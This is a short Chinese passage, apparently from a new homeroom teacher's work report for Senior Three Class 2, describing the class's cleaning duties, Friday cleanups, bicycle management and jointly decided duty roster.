整洁优美的环境，是我们的追求。每天我们的值日生提前到校，来搞好教室、走廊、过道、保洁区的清洁问题。班主任的每天的第一件事便是检查班级的卫生情况。实行责任包干，每个同学每周打扫一次班级的负责区。每周五我们还进行全面的大扫除，教室的墙壁、天花板、玻璃、窗台、电气化设备是我们的保洁的对象。班级有专门的自行车管理员，每天进行两次自行车的整理。卫生的值日表由劳动班委和同学们共同商议决定，实行公平劳动、劳动自主的原则。

班级工作是繁杂的，但我作为新班主任、新教师有信心，有能力把班级工作搞好，把高三（2）建成优良班集体